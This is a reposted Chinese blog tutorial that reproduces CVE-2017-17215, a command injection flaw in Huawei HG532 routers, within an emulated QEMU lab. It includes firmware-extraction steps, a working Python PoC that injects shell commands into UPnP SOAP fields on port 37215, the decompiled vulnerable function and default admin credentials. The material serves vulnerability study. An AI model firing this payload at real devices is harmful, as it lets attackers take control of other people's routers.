华为路由器远程命令执行漏洞复现(CVE-2017-17215)
Posted Zeker62
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了华为路由器远程命令执行漏洞复现(CVE-2017-17215)相关的知识,希望对你有一定的参考价值。
华为路由器远程命令执行漏洞复现(CVE-2017-17215)
漏洞内容
这个漏洞算是比较老的一种漏洞了,但是具有一定的学习价值。
CheckPoint报告华为HG532路由器产品存在远程命令执行漏洞,可以执行任意的命令
远程命令执行漏洞,没有对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造的语句提交,让服务器端执行。例如web服务器中的system、eval、exec等函数,在上面的CVE-2020-3452也算是远程命令执行漏洞的一种。
漏洞复现
环境搭建
我使用的是Windows商店下载的Ubuntu子系统(图方便,还是建议在虚拟机运行并保存快照),其他系统可能一些操作不一样,固件和exp在参考链接里
首先,解析一下固件,使用binwalk
apt install binwalk
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
解析后可以看见如图所示的文件系统
之后,需要下载一个虚拟机,作为我们的“假路由器”
sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static
下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端,模拟出一个真实的路由器系统
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
下载成功后,虚拟机作为路由器,要和我们的实验机器相连,所以创建网桥,配置好虚拟的IP地址
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.10.1/24 up
创建tap接口,添加到网桥
sudo apt install uml-utilities
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.10.11/24 up
sudo brctl addif Virbr0 tap0
启动虚拟机
apt install qemu-system-mips
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
账号密码都是root 成功进入系统
(真实Windows里装Linux装Linux)
添加IP地址,Ping主机
ifconfig eth0 192.168.10.2/24 up
ping 192.168.10.1 -c 10
将squashfs-root
文件夹复制到虚拟机当中(回到主机)
scp -r squashfs-root/ root@192.168.10.2:~/
查看虚拟机
挂载
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
当我进行到这里的时候,发现我的文件夹下并没有这两个文件
通过百度发现,是我的binwalk不完整导致的,缺少相关的依赖,解决方法已经放在参考链接里面了
emm,弄了很久,还是没有弄好,时间有些紧急呃,尽管我没有成功解决这个问题,我还是把方法贴出来
$ sudo apt-get update $ sudo apt-get install build-essential autoconf git # https://github.com/devttys0/binwalk/wiki/Quick-Start-Guide $ wget https://github.com/devttys0/binwalk/archive/master.zip $ unzip master.zip $ (cd binwalk-master && sudo python setup.py uninstall && sudo python setup.py install) # 自动安装依赖库文件和工具组件 $ sudo ./binwalk-master/deps.sh
启动Shell
chroot squashfs-root sh
通过SSH的远程连接,启动路由器:
ssh root@192.168.10.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
此时的虚拟机的路由IP已经发生了变化,ssh已经断开了,所以需要返回虚拟机的终端进行更改IP地址
ifconfig eth0 192.168.10.2/24 up
ifconfig br0 192.168.10.11/24 up
这时再在浏览器上访问路由器的IP地址,即华为路由器的界面
账号密码:admin
,@Hua1234
漏洞复现
使用POC进行注入:运行这个python脚本即可
import requests
headers =
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
可以看见在/bin目录下新建了hell文件夹,返回的状态码是200
原理分析
参考exp里面的内容
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
这个是我们自己可以注入的内容,里面完成了任意执行命令的危险操作
由于我逆向能力较弱,所以根据博客来解读
作者逆向之后,搜索字符串NewStatusURL,有一处匹配
进入查看之后,发现system函数,而上面就是一个snprintf函数格式化字符串,而这个被格式化的字符串被system函数执行
int FUN_0040749c(int param_1)
int iVar1;
char *local_418;
char *local_414;
char acStack1040 [1028];
iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418);
if (((iVar1 == 0) && (local_418 != (char *)0x0)) &&(iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414), iVar1 == 0)
)
if (local_414 != (char *)0x0)
snprintf(acStack1040,0x400,"upg -g -U %s -t \\'1 Firmware Upgrade Image\\' -c upnp -r %s -d -b",local_418,local_414);
system(acStack1040);
return iVar1;
猜测local_418,local_414和exp中的NewStatusURL和NewDownloadURL标签
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
所以,在这两个标签里面都可以进行任意命令注入的漏洞
之后可以修改POC进行验证
import requests
headers =
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir hell;</NewStatusURL>
<NewDownloadURL>;mkdir hello;</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)
参考链接
- 固件分析环境搭建:https://www.anquanke.com/post/id/151277
- 固件和exp下载:https://gitee.com/p1piyang/backward-analysis
- 参考文章1:https://mp.weixin.qq.com/s/wQojqJ152I1-Wag0MRqEkw
- 参考文章2:https://xz.aliyun.com/t/8494
以上是关于华为路由器远程命令执行漏洞复现(CVE-2017-17215)的主要内容,如果未能解决你的问题,请参考以下文章
华为路由器远程命令执行漏洞复现(CVE-2017-17215)
华为路由器远程命令执行漏洞复现(CVE-2017-17215)
Samba远程代码执行漏洞(CVE-2017-7494)复现
Tomcat任意写入文件漏洞(CVE-2017-12615) 复现